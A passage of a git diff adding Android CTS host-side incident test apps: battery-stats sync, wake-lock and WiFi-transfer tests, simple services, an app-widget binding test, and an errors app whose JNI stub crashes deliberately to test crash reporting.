+    private static final String TAG = "BatteryStatsSyncTest";
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
+
+    @Before
+    public void setUp() {
+        BatteryStatsAuthenticator.removeAllAccounts(getContext());
+    }
+
+    @After
+    public void tearDown() {
+        BatteryStatsAuthenticator.removeAllAccounts(getContext());
+    }
+
+    /**
+     * Run a sync N times and make sure it shows up in the battery stats.
+     */
+    @Test
+    public void testRunSyncs() throws Exception {
+        final Account account = BatteryStatsAuthenticator.getTestAccount();
+
+        // Create the test account.
+        BatteryStatsAuthenticator.ensureTestAccount(getContext());
+
+        // Just force set is syncable.
+        ContentResolver.setMasterSyncAutomatically(true);
+        ContentResolver.setIsSyncable(account, BatteryStatsProvider.AUTHORITY, 1);
+
+        // Cancel the initial sync.
+        BatteryStatsSyncAdapter.cancelPendingSyncs(account);
+
+        final int NUM_SYNC = 10;
+
+        // Run syncs.
+        for (int i = 0; i < NUM_SYNC; i++) {
+            BatteryStatsSyncAdapter.requestSync(account);
+            Thread.sleep(1000);
+        }
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWakeLockTests.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWakeLockTests.java
new file mode 100644
index 0000000..9956e79
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWakeLockTests.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.batterystats;
+
+import android.content.Context;
+import android.os.PowerManager;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Used by BatteryStatsValidationTest.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BatteryStatsWakeLockTests extends BatteryStatsDeviceTestBase {
+    private static final String TAG = "BatteryStatsWakeLockTests";
+
+    @Test
+    public void testHoldShortWakeLock() throws Exception {
+        PowerManager.WakeLock wl = mPowerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
+                "BSShortWakeLock");
+        wl.acquire();
+        Thread.sleep(500);
+        wl.release();
+    }
+
+    @Test
+    public void testHoldLongWakeLock() throws Exception {
+        PowerManager.WakeLock wl = mPowerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
+                "BSLongWakeLock");
+        wl.acquire();
+        Thread.sleep(3000);
+        wl.release();
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWifiTransferTests.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWifiTransferTests.java
new file mode 100644
index 0000000..aa5c018
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWifiTransferTests.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.batterystats;
+
+import android.util.Log;
+
+import java.io.BufferedInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.util.Arrays;
+
+public class BatteryStatsWifiTransferTests {
+    private static final String TAG = "BatteryStatsWifiTransferTests";
+
+    private static final int READ_BUFFER_SIZE = 4096;
+
+    /** Server to send requests to. */
+    private static final String SERVER_URL = "https://developer.android.com/index.html";
+
+    public static String download(String requestCode) {
+        HttpURLConnection conn = null;
+        try {
+            URL url = new URL(SERVER_URL);
+            conn = (HttpURLConnection) url.openConnection();
+            conn.setUseCaches(false);
+            conn.setRequestProperty("Accept-Encoding", "identity"); // Disable compression.
+
+            InputStream in = new BufferedInputStream(conn.getInputStream());
+            byte[] data = new byte[READ_BUFFER_SIZE];
+
+            int total = 0;
+            int count;
+            while ((count = in.read(data)) != -1) {
+                total += count;
+            }
+            Log.i(TAG, String.format("request %s d=%d", requestCode, total));
+        } catch (IOException e) {
+            Log.i(TAG, e.toString());
+            return "Caught exception";
+        } finally {
+            if (conn != null) {
+                conn.disconnect();
+            }
+        }
+        return null;
+   }
+
+
+   public static String upload() {
+        HttpURLConnection conn = null;
+        try {
+            // Append a long query string.
+            char[] queryChars = new char[2*1024];
+            Arrays.fill(queryChars, 'a');
+            URL url = new URL(SERVER_URL + "?" + new String(queryChars));
+            conn = (HttpURLConnection) url.openConnection();
+            InputStream in = conn.getInputStream();
+            in.close();
+        } catch (IOException e) {
+            return "IO exception";
+        } finally {
+            if (conn != null) {
+                conn.disconnect();
+            }
+        }
+        return null;
+   }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleActivity.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleActivity.java
new file mode 100644
index 0000000..3d91edd
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.batterystats;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class SimpleActivity extends Activity{
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        finish();
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
new file mode 100644
index 0000000..ed21615
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.batterystats;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Process;
+
+public class SimpleForegroundService extends Service {
+
+    private Looper mServiceLooper;
+    private ServiceHandler mServiceHandler;
+
+    private final class ServiceHandler extends Handler {
+        public ServiceHandler(Looper looper) {
+            super(looper);
+        }
+
+        @Override
+        public void handleMessage(Message msg) {
+            // Sleep for 2 seconds.
+            try {
+                Thread.sleep(2000);
+            } catch (InterruptedException e) {
+                // Restore interrupt status.
+                Thread.currentThread().interrupt();
+            }
+            // Stop the service using the startId, so that we don't stop
+            // the service in the middle of handling another job
+            stopSelf(msg.arg1);
+        }
+    }
+
+    @Override
+    public void onCreate() {
+        // Start up the thread running the service.  Note that we create a
+        // separate thread because the service normally runs in the process's
+        // main thread, which we don't want to block.  We also make it
+        // background priority so CPU-intensive work will not disrupt our UI.
+        HandlerThread thread = new HandlerThread("ServiceStartArguments",
+                Process.THREAD_PRIORITY_BACKGROUND);
+        thread.start();
+
+        // Get the HandlerThread's Looper and use it for our Handler
+        mServiceLooper = thread.getLooper();
+        mServiceHandler = new ServiceHandler(mServiceLooper);
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Notification notification = new Notification.Builder(this, "Foreground Service")
+                .setContentTitle("CTS Foreground")
+                .setSmallIcon(android.R.drawable.ic_secure)
+                .build();
+        startForeground(1, notification);
+
+        Message msg = mServiceHandler.obtainMessage();
+        msg.arg1 = startId;
+        mServiceHandler.sendMessage(msg);
+
+        return START_NOT_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleJobService.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleJobService.java
new file mode 100644
index 0000000..c1d259b
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleJobService.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.batterystats;
+
+import android.annotation.TargetApi;
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
+import android.app.job.JobScheduler;
+import android.app.job.JobService;
+import android.content.Context;
+import android.os.Handler;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Handles callback from the framework {@link android.app.job.JobScheduler}.
+ * Runs a job for 1 second. Provides a countdown latch to wait on, by the test that schedules it.
+ */
+@TargetApi(21)
+public class SimpleJobService extends JobService {
+    private static final String TAG = "SimpleJobService";
+
+    JobInfo mRunningJobInfo;
+    JobParameters mRunningParams;
+    private static CountDownLatch sLatch;
+
+    final Handler mHandler = new Handler();
+    final Runnable mWorker = new Runnable() {
+        @Override public void run() {
+            Log.i(TAG, "Running job");
+            try {
+                Thread.sleep(1000);
+            } catch (InterruptedException e) {
+            }
+            jobFinished(mRunningParams, false);
+            if (sLatch != null) {
+                sLatch.countDown();
+            }
+        }
+    };
+
+    public static void scheduleJob(Context context, JobInfo jobInfo) {
+        JobScheduler js = context.getSystemService(JobScheduler.class);
+        js.schedule(jobInfo);
+    }
+
+    public static synchronized CountDownLatch resetCountDownLatch() {
+        sLatch = new CountDownLatch(1);
+        return sLatch;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+    }
+
+    @Override
+    public boolean onStartJob(JobParameters params) {
+        mRunningParams = params;
+        mHandler.post(mWorker);
+        return true;
+    }
+
+    @Override
+    public boolean onStopJob(JobParameters params) {
+        return false;
+    }
+}
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.mk b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
new file mode 100644
index 0000000..e9c1555
--- /dev/null
+++ b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsAppWidgetApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    android-support-v4
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml b/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
new file mode 100644
index 0000000..312d05d
--- /dev/null
+++ b/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+  package="android.appwidget.cts">
+
+    <application>
+
+      <uses-library android:name="android.test.runner"/>
+
+      <receiver android:name="android.appwidget.cts.provider.FirstAppWidgetProvider" >
+          <intent-filter>
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+          </intent-filter>
+          <meta-data android:name="android.appwidget.provider"
+              android:resource="@xml/appwidget_info" />
+      </receiver>
+
+      <receiver android:name="android.appwidget.cts.provider.SecondAppWidgetProvider" >
+          <intent-filter>
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+          </intent-filter>
+          <meta-data android:name="android.appwidget.provider"
+              android:resource="@xml/appwidget_info" />
+      </receiver>
+
+  </application>
+
+  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+      android:targetPackage="android.appwidget.cts"
+      android:label="CTS Tests for the dumpsys protobuf protocol">
+      <meta-data android:name="listener"
+          android:value="com.android.cts.runner.CtsTestRunListener" />
+  </instrumentation>
+</manifest>
diff --git a/hostsidetests/incident/apps/boundwidgetapp/res/xml/appwidget_info.xml b/hostsidetests/incident/apps/boundwidgetapp/res/xml/appwidget_info.xml
new file mode 100644
index 0000000..3d5d0f8
--- /dev/null
+++ b/hostsidetests/incident/apps/boundwidgetapp/res/xml/appwidget_info.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<appwidget-provider xmlns:android="http://schemas.android.com/apk/res/android"
+    android:minWidth="40dp"
+    android:minHeight="40dp"
+    android:minResizeWidth="60dp"
+    android:minResizeHeight="60dp"
+    android:updatePeriodMillis="86400000"
+    android:resizeMode="horizontal|vertical">
+</appwidget-provider>
diff --git a/hostsidetests/incident/apps/boundwidgetapp/src/android/appwidget/cts/AppWidgetTest.java b/hostsidetests/incident/apps/boundwidgetapp/src/android/appwidget/cts/AppWidgetTest.java
new file mode 100644
index 0000000..baf2ed3
--- /dev/null
+++ b/hostsidetests/incident/apps/boundwidgetapp/src/android/appwidget/cts/AppWidgetTest.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appwidget.cts;
+
+import android.appwidget.AppWidgetProviderInfo;
+import android.appwidget.AppWidgetManager;
+import android.appwidget.AppWidgetHost;
+import android.appwidget.cts.provider.FirstAppWidgetProvider;
+import android.appwidget.cts.provider.SecondAppWidgetProvider;
+import android.os.Bundle;
+import android.test.suitebuilder.annotation.MediumTest;
+import android.util.Log;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.test.InstrumentationTestCase;
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.List;
+
+@MediumTest
+public class AppWidgetTest extends InstrumentationTestCase {
+
+    private static final String TAG = "AppWidgetTest";
+    private static final int HOST_ID = 1001;
+    private static final String GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND =
+        "appwidget grantbind --package android.appwidget.cts --user 0";
+
+    private Context mContext;
+
+    @Override
+    public void setUp() throws Exception {
+        mContext = getInstrumentation().getTargetContext();
+        // Workaround for dexmaker bug: https://code.google.com/p/dexmaker/issues/detail?id=2
+        // Dexmaker is used by mockito.
+        System.setProperty("dexmaker.dexcache", mContext.getCacheDir().getPath());
+    }
+
+    public void testBindWidget1() throws Exception {
+        Log.d(TAG, "binding widget 1 ...");
+        setupWidget(getFirstAppWidgetProviderInfo(), null, true);
+        Log.d(TAG, "binding widget 1 done");
+    }
+
+    public void testBindWidget2() throws Exception {
+        Log.d(TAG, "binding widget 2 ...");
+        Bundle options = new Bundle();
+        options.putInt(AppWidgetManager.OPTION_APPWIDGET_MIN_WIDTH, 1);
+        options.putInt(AppWidgetManager.OPTION_APPWIDGET_MIN_HEIGHT, 2);
+        options.putInt(AppWidgetManager.OPTION_APPWIDGET_MAX_WIDTH, 3);
+        options.putInt(AppWidgetManager.OPTION_APPWIDGET_MAX_HEIGHT, 4);
+        setupWidget(getSecondAppWidgetProviderInfo(), options, true);
+        Log.d(TAG, "binding widget 2 done");
+    }
+
+    public void testAllocateOnlyWidget1() throws Exception {
+        Log.d(TAG, "allocating widget 1 ...");
+        setupWidget(getFirstAppWidgetProviderInfo(), null, false);
+        Log.d(TAG, "allocating widget 1 done");
+    }
+
+    public void testCleanup() throws Exception {
+        Log.d(TAG, "deleting host");
+        grantBindAppWidgetPermission();
+        AppWidgetHost host = new AppWidgetHost(mContext, HOST_ID);
+        host.deleteHost();
+    }
+
+    private void setupWidget(AppWidgetProviderInfo prov, Bundle options, boolean bindWidget) throws Exception {
+        // We want to bind widgets.
+        grantBindAppWidgetPermission();
+
+        // Create a host and start listening.
+        AppWidgetHost host = new AppWidgetHost(mContext, HOST_ID);
+        host.deleteHost();
+        host.startListening();
+
+        AppWidgetManager mgr = getAppWidgetManager();
+
+        // Initially we have no widgets.
+        assertEquals(0, mgr.getAppWidgetIds(prov.provider).length);
+
+        // Allocate the first widget id to bind.
+        int appWidgetId = host.allocateAppWidgetId();
+
+        if (bindWidget) {
+            // Bind the widget.
+            getAppWidgetManager().bindAppWidgetIdIfAllowed(appWidgetId,
+                prov.getProfile(), prov.provider, options);
+
+            assertEquals(1, mgr.getAppWidgetIds(prov.provider).length);
+        }
+    }
+
+    private ComponentName getFirstWidgetComponent() {
+        return new ComponentName(mContext.getPackageName(),
+                FirstAppWidgetProvider.class.getName());
+    }
+
+    private ComponentName getSecondWidgetComponent() {
+        return new ComponentName(mContext.getPackageName(),
+                SecondAppWidgetProvider.class.getName());
+    }
+
+    private ArrayList<String> runShellCommand(String command) throws Exception {
+        ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
+                .executeShellCommand(command);
+
+        ArrayList<String> ret = new ArrayList<>();
+        // Read the input stream fully.
+        try (BufferedReader r = new BufferedReader(
+                new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd)))) {
+            String line;
+            while ((line = r.readLine()) != null) {
+                ret.add(line);
+            }
+        }
+        return ret;
+    }
+
+    private AppWidgetProviderInfo getFirstAppWidgetProviderInfo() {
+        return getProviderInfo(getFirstWidgetComponent());
+    }
+
+    private AppWidgetProviderInfo getSecondAppWidgetProviderInfo() {
+        return getProviderInfo(getSecondWidgetComponent());
+    }
+
+    private AppWidgetProviderInfo getProviderInfo(ComponentName componentName) {
+        List<AppWidgetProviderInfo> providers = getAppWidgetManager().getInstalledProviders();
+
+        final int providerCount = providers.size();
+        for (int i = 0; i < providerCount; i++) {
+            AppWidgetProviderInfo provider = providers.get(i);
+            if (componentName.equals(provider.provider)
+                && Process.myUserHandle().equals(provider.getProfile())) {
+                return provider;
+
+            }
+        }
+
+        return null;
+    }
+
+    private AppWidgetManager getAppWidgetManager() {
+        return (AppWidgetManager) getInstrumentation().getTargetContext()
+            .getSystemService(Context.APPWIDGET_SERVICE);
+    }
+
+    private void grantBindAppWidgetPermission() throws Exception {
+        runShellCommand(GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND);
+    }
+
+}
diff --git a/hostsidetests/incident/apps/boundwidgetapp/src/android/appwidget/cts/provider/FirstAppWidgetProvider.java b/hostsidetests/incident/apps/boundwidgetapp/src/android/appwidget/cts/provider/FirstAppWidgetProvider.java
new file mode 100644
index 0000000..e3ffa8f
--- /dev/null
+++ b/hostsidetests/incident/apps/boundwidgetapp/src/android/appwidget/cts/provider/FirstAppWidgetProvider.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appwidget.cts.provider;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public final class FirstAppWidgetProvider extends BroadcastReceiver {
+
+    public void onReceive(Context context, Intent data) {
+    }
+
+}
diff --git a/hostsidetests/incident/apps/boundwidgetapp/src/android/appwidget/cts/provider/SecondAppWidgetProvider.java b/hostsidetests/incident/apps/boundwidgetapp/src/android/appwidget/cts/provider/SecondAppWidgetProvider.java
new file mode 100644
index 0000000..c7dc1c9
--- /dev/null
+++ b/hostsidetests/incident/apps/boundwidgetapp/src/android/appwidget/cts/provider/SecondAppWidgetProvider.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appwidget.cts.provider;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public final class SecondAppWidgetProvider extends BroadcastReceiver {
+
+    public void onReceive(Context context, Intent data) {
+    }
+
+}
diff --git a/hostsidetests/incident/apps/errorsapp/Android.mk b/hostsidetests/incident/apps/errorsapp/Android.mk
new file mode 100644
index 0000000..d6db6f7
--- /dev/null
+++ b/hostsidetests/incident/apps/errorsapp/Android.mk
@@ -0,0 +1,46 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsErrorsApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MULTILIB := both
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+# Includes the jni code as a shared library
+LOCAL_JNI_SHARED_LIBRARIES := libcrash-jni libnativehelper
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    android-support-v4
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/incident/apps/errorsapp/AndroidManifest.xml b/hostsidetests/incident/apps/errorsapp/AndroidManifest.xml
new file mode 100644
index 0000000..41fde5c
--- /dev/null
+++ b/hostsidetests/incident/apps/errorsapp/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.server.cts.errors" >
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.READ_LOGS"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".ANRActivity" android:label="ANR Test Activity" android:process=":TestProcess" />
+        <activity android:name=".ExceptionActivity" android:label="Exception Test Activity" android:process=":TestProcess" />
+        <activity android:name=".NativeActivity" android:label="Native Crash Test Activity" android:process=":TestProcess" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.server.cts.errors" />
+</manifest>
+
diff --git a/hostsidetests/incident/apps/errorsapp/jni/Android.mk b/hostsidetests/incident/apps/errorsapp/jni/Android.mk
new file mode 100644
index 0000000..5101bf3
--- /dev/null
+++ b/hostsidetests/incident/apps/errorsapp/jni/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE    := libcrash-jni
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := crash-jni.c
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/incident/apps/errorsapp/jni/crash-jni.c b/hostsidetests/incident/apps/errorsapp/jni/crash-jni.c
new file mode 100644
index 0000000..bbbd61c
--- /dev/null
+++ b/hostsidetests/incident/apps/errorsapp/jni/crash-jni.c
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+#include <jni.h>
+
+JNIEXPORT void JNICALL
+Java_com_android_server_cts_errors_NativeActivity_crash( JNIEnv* env,
+                                                  jobject thisObj)
+{
+    *((char*)0xdeadbeef) = 10;
+}
